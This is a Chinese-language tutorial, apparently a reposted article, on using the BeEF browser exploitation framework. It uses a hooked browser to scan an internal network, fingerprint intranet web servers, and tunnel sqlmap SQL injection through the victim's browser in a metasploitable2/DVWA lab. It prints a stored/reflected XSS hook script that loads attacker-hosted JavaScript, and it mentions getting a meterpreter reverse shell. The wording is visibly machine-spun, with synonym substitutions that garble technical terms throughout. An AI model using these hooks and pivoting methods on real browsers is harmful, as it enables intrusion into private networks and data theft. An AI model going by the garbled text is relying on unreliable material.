快捷搜索:  网络  CVE  渗透  后门  扫描  木马  黑客  as

阅读器攻击框架BeEF Part 5:攻击Web应用与攻击收集

*

媒介

上一章先容了Tunneling Proxy手艺和若何使用这项手艺来绕过httponly完成高级的会话窃取。本章探讨怎么样在不背反SOP情形下,通过勾连阅读器攻击Web应用与攻击收集。其中有一些攻击手艺就用到了Tunneling Proxy的手艺。

本系列文章前序内容:

1.阅读器攻击框架BeEF Part 1

2.阅读器攻击框架BeEF Part 2:初始化控制

3.阅读器攻击框架BeEF Part 3:持续控制

4.阅读器攻击框架BeEF Part 4:绕过同源策略与阅读器代办署理

攻击收集

攻击Web应用有一些手艺需要使用到攻击收集的手艺,所以就先先容攻击收集。这里的攻击收集通常为指攻击内网。想象一下如许的场景:当一个公司内部收集的阅读器被BeEF勾住了,那么可不可以使用它来攻击这个内部收集呢?譬如主机扫描,端口扫描。谜底是可以的。攻击收集的模块在Network以及Host目录。

攻击收集一般有这几步:

1. 识别目标

2. ping sweep

3. 扫描端口

识别目标

识别目标分为两个,一个是识别勾连阅读器的内部IP,另一个是识别勾连阅读器的子网。

BeEF给出了两个攻击模块来识别勾连阅读器的内部IP:Get Internal IP(Java) 与 Get Internal IP WebRTC。两个模块都在Host目录。 一个是使用Java手艺, 一个是使用了WebRTC手艺。现在已经很少有人会在阅读器中使用Java了。 使用WebRTC会更好些:

30.png

识别勾连阅读器的子网只有一个模块:identity LAN Subnets。 这个模块的道理是通过向一些常见的子网段的主机发送XMLHttpRequest要求,然后看看响应的时间,要是主机是活动的,那么响应时间会很短。

31.png这个模块所扫描的子网段是配置好的,可以在 beef主目录/modules/network/identify_lan_subnets/co妹妹and.js文件中增添。

ping sweep

知道内网ip 或 目标子网段后,下一步就是查看一下子网中有那些主机是活动的。BeEF为此提供了Ping Sweep 模块,它的道理以及identify_lan_subnets同样。

33.png

下面是笔者的扫描效果:

34.png

扫描端口

知道活动主机之后,那么接下来就是进行端口扫描。BeEF提供了 Port Sanner 模块来杀青这一目的,其道理是使用IMG标签以及自定义的onload/onerrer事故处理程序, 和计时器。然则当代的阅读器都完成了端口封禁,端口封禁制约了阅读器对某些端口发送http要求,譬如 21, 22, 25, 110, 145 等端口, 所以一般没法扫描出这些端口。

35.png

下面是扫描效果

36.png

攻击Web应用

想象一下两个的情景。

第一个,一家公司的内网用户使用阅读器走访了某个有勾子的外网网站页面(多是xss等漏洞导致),BeEF在获患了阅读器的控制权后,能不能进一步攻击这家公司的一些内网的Web呢?

第二个场景,某个网站的“给网站提出意见”或者“广告招租”等功能有存储型XSS漏洞,且提交上去的数据只有后台人员才能看到,该站点的所有Cookie都会配置HttpOnly,然则后台的某个功能存在着SQL漏洞,那么能否使用SQLmap通过BeEF来进行SQL注入来获取数据或者更进一步直接获取Webshell呢?

上面的两个问题,谜底都是可以做到的。从上面的两个场景,可以看出要使用BeEF攻击Web应用首要分为两个种类型。第一种是攻击不同源的Web,对应着第一个场景。第二种是攻击同源的Web,对应着场景二。下面分开来讨论。

攻击不同源Web应用

先来说说攻击不同源Web的道理。从上一章,读者应该能理解到,BeEF可以让被勾住的阅读器向任何域发送HTTP要求。只是在发送跨域时,多数情形下SOP都会阻止阅读器读取HTTP响应。虽然不能读取HTTP响应,但有些攻击是不需要读取的,典型的不需要读取HTTP响应的攻击手艺就是CSRF了。

要攻击不同源的Web应用,起首要对它进行足量的侦察。可以行使上面攻击收集的手艺来检测一下勾连阅读器的内网有那些Web服务器。当我们知道谁人内网主机上是Web服务器,接下来我们要对它进行指纹采集。前几章有提到js,css,图片的静态文件一般不会受SOP制约。而这恰是指纹采集的症结,我们可以通过一些已知的静态资源来推测出目标。譬如向一个内网的主机要求一个 /icon/apache_pb.gif图片,要是这个主机返归了图片数据,那么这个主机有可能运行着apache。

BeEF给出了两个指纹采集的攻击模块,分别是Get HTTP Servers(Favicon) 以及 Fingerprint Local Network。两个模块的道理都是同样的,通过在勾连阅读器中创建一个不可见的IFrame,然后添加一个<img>标签,WEB黑客,并配置onload/onerror事故,要是成功加载了图片触发了onload事故,那么就可以根据这个图片来推断出是什么服务器。Get HTTP Servers(Favicon)只会断定加载了谁人图片,而Fingerprint Local Network 会计算加载的图片的长宽,然后以及数据库对比,最后判定出这是个什么服务器。

下面是笔者用两个模块对内网中metasploitable2 的作出的测试效果:

Get HTTP Servers(Favicon)

37.png

Fingerprint Local Network

38.png

作出基本的指纹检测后,要是目标是有漏洞了,比若有一台Jboss 6.0.0, 那么就可以使用Jboss 6.0.0M1 JMX Deploy Exploit 模块直接反弹一个meterpreter归来。除了这个漏洞,BeEF也提供了一些CSRF的攻击模块可以使用。由于篇幅缘故起因,这里就意外试了,有兴致的可以本人搭环境测试。

攻击同源Web应用

攻击不同源的Web应用是有点鸡肋的,必须要餍足不少前提才行。然则攻击同源Web应用就相对于简单且有用的多。

上面的场景二,某个网站的“给网站提出意见”或者“广告招租”等功能有存储型XSS漏洞,且提交上去的数据只有后台人员才能看到,该站点的所有Cookie都会配置HttpOnly,然则后台的某个功能存在着SQL漏洞。我们要使用SQLmap通过BeEF来进行SQL注入来获取数据或者更进一步直接获取Webshell。这里就要用到上一章讲到的 Tunneling Proxy了。

因为没有好的靶子机,这里使用metasploitabel2来做测试了,下面是测试环境:

名称 角色 ip
Ubuntu BeEF服务器 外网
kali 攻击者,sqlmap 外网
Windows7 / 阅读器A 受害者 内网 10.0.2.4
metasploitable2 内网有漏洞的主机 内网 10.0.2.5

笔者使用最新的BeEF来测试,BeEF装好后,需要改一下config.yaml中的登录暗码,要使用强暗码,否则BeEF会在每一次启动时给你调配一个随机暗码。笔者测试时,发现最新版有一些Bug,导致proxy功能不太好用。经过调试,找到了Bug地点。修改一下beef/extensions/proxy/proxy.rb文件:

1.png修改为红线的两处的path就可以了。运行BeEF, 接着在windows7中用阅读器A走访metasploitable2 的dvwa。 把dvwa的安全调为低,接着使用xss reflected 来注入BeEF的钩子:

<script src="http://BeEF_ip:3000/hook.js" type="text/javascript"></script>

2.png接下来在kali中登录BeEF服务器的治理UI,把阅读器A配置为Tunneling Proxy(参照上一章的要领)。

配置完后,在kali中运行sqlmap,使用–proxy选项,走BeEF的Tunneling Proxy:

3.png

下面时效果图:

4.png

在使用sqlmap走BeEF地道时,建议不要使用 –technique=T, 因为在走地道时也会消费时间,所以注入效果会不准确。 

这里只演示了sqlmap, 实际上burp也是可以走BeEF地道了。这里旧不进行演示了,有兴致的同伙可以本人玩。

结语

这一章到这里就结束了,下一章会先容更好玩的攻击手段,攻击用户以及阅读器。对本章有疑问或纠错的可以在评述里留言。

*

您可能还会对下面的文章感兴趣: